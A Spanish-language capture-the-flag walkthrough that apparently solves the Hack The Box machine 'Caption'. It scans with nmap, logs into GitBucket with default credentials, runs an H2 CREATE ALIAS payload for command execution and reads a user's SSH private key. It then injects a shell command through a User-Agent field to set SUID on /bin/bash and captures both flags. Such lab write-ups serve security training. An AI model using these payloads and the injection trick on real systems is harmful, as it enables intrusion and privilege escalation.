Caption

OS: Linux
Dificultad: Difícil
Puntos: 40

Nmap

nmap -v --min-rate=5000 10.129.255.199
nmap -vvv -p 22,80,8080 -sV -sC -oN nmap.txt 10.129.255.199
Nmap scan report for 10.129.255.199
Host is up, received syn-ack (0.024s latency).
Scanned at 2024-09-17 09:07:49 CEST for 16s

PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  ssh        syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http       syn-ack
|_http-title: Did not follow redirect to http://caption.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy syn-ack
|_http-title: GitBucket
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Tue, 17 Sep 2024 07:07:57 GMT
|     Set-Cookie: JSESSIONID=node0ijgph1k3f6sdqvn5j9iqgeud2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5922
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.255.199:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.255.199:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/imag
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Tue, 17 Sep 2024 07:07:56 GMT
|     Set-Cookie: JSESSIONID=node0egpkq2v4pe1hpdju5uxjpw810.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7197
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.255.199:8080/" />
|     <meta property="og:image" content="http://10.129.255.199:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240917070757" t
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 17 Sep 2024 07:07:57 GMT
|     Set-Cookie: JSESSIONID=node01lvb7jklg5qqj12mi19if6sehx1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>

Enumeration

En el puerto 8080 encontramos una aplicacion llamada GitBucket. Usando las credenciales por default podemos acceder.

root : root

Encontramos credenciales en el siguiente repositorio.

http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a

margo : vFr&cS2#0!

Ahora podemos acceder a la aplicacion del puerto 80.

H2 - Java SQL database (RCE)

En las configuraciones del sistema vemos el siguiente mensaje.

Tambien podemos interactuar con la base de datos desde el apartado Database viewer. Investigando es posible obtener RCE de la siguiente forma.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/h2-java-sql-database
https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

Utilizando el siguiente payload lo ejecutamos en la base de datos.

CREATE ALIAS SHELLEXE AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

Ahora ya podemos ejecutar comandos.

CALL SHELLEXE('id'); 

Con el siguiente payload obtenemos la llave SSH del usuario margo.

CALL SHELLEXE('cat /home/margo/.ssh/id_ecdsa');
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQE2vjRNbZwoQCDReSbJkFla6X4zhIEIGDe+Qg7f8+A
ZCrl1kMBYSK3Ql6KKOxqjiPOD9vZRSsfjWu9Ug4hf6zCAAAAoMSr3NvEq9zbAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBATa+NE1tnChAINF5JsmQWVrpfjOEgQgYN75CDt/
z4BkKuXWQwFhIrdCXooo7GqOI84P29lFKx+Na71SDiF/rMIAAAAgRIc1Iourw3LCSQFBQw4FZJMe
QwxVt5DAU4ifNf2BZIAAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

Nos conectamos por SSH.

┌──(root㉿kali)-[~/Caption]
└─# ssh -i margo-key margo@caption.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)

Last login: Tue Sep 17 08:51:53 2024 from 10.10.14.8
margo@caption:~$ ls
app  copyparty-sfx.py  gitbucket.war  logs  user.txt
margo@caption:~$ cat user.txt 
fe42a03d982cc37a9c7284ea4eb19418

Privilege Escalation

El usuario root esta ejecundo el servidor go del segundo repositorio LogService.

root        1034  0.0  1.1 177628 46928 ?        Ss   02:36   0:00 /usr/sbin/haproxy -Ws -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -S /run/haproxy-master.sock
root        1040  0.0  0.2  15432  9140 ?        Ss   02:36   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1041  0.0  0.0   6176  1088 tty1     Ss+  02:36   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1044  0.0  0.0   2892   940 ?        Ss   02:36   0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root        1045  0.0  0.4 1240804 17556 ?       Sl   02:36   0:01 /usr/local/go/bin/go run server.go

El puerto 9090 que usa el servidor esta abierto localmente.

margo@caption:~$ netstat -putona
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1055/java            off (0.00/0/0)
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1054/python3         off (0.00/0/0)
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1052/python3         off (0.00/0/0)
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)

Leyendo el codigo identificamos una posible falla que permite ejecucion de comandos.

http://caption.htb:8080/root/Logservice/blob/main/server.go

    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}

Para explotar la vulnerabilidad tenemos que hacer lo siguiente.

Hacemos Portforwarding al puerto 9090.

┌──(root㉿kali)-[~/Caption]
└─# ssh -i margo-key margo@caption.htb -L 9090:127.0.0.1:9090

Creamos nuestro payload en la maquina.

margo@caption:~$ nano /tmp/doom.log
doom.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/shell.sh #"

Ahora creamos otro archivo que tendra nuestro comando sh.

margo@caption:~$ echo 'chmod +s /bin/bash' > /tmp/shell.sh

En nuestra maquina creamos un archivo thrift.

log_service.thrift
namespace go log_service

service LogService {
    string ReadLogFile(1: string filePath)
}

Es necesario installar thrift.

apt install thrift-compiler
pip install thrift

Ahora ejecutamos el siguiente comando que nos creara una carperta llamada gen_py. Nos basamos en esta referencia.

https://thrift.apache.org/tutorial/py.html

┌──(root㉿kali)-[~/Caption]
└─# thrift -r --gen py log_service.thrift

Creamos el siguiente codigo para conectarnos al servidor Apache Thrift.

┌──(root㉿kali)-[~/Caption]
└─# cd gen-py
client.py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code

def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)

    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)

    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the service
    client = LogService.Client(protocol)

    # Open the connection
    transport.open()

    try:
        # Specify the log file path to process
        log_file_path = "/tmp/doom.log"
       
        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
   
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")

    # Close the transport
    transport.close()

if __name__ == '__main__':
    main()

Ejecutamos el script.

┌──(root㉿kali)-[~/Caption/gen-py]
└─# python3 client.py 
Server response: Log file processed

Una vez que se el script termina, en la maquina veremos que se ejecuto nuestro comando ya que el binario esta como SUID.

margo@caption:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Simplemente ejecutamos bash de la siguiente forma y conseguimos root.

margo@caption:~$ bash -p                                                                                                                                                                          
bash-5.1# cat /root/root.txt                                                                                                                                                                      
36f737881d2da619856ac81cdefb3c7f                                                                                                                                                                  
bash-5.1#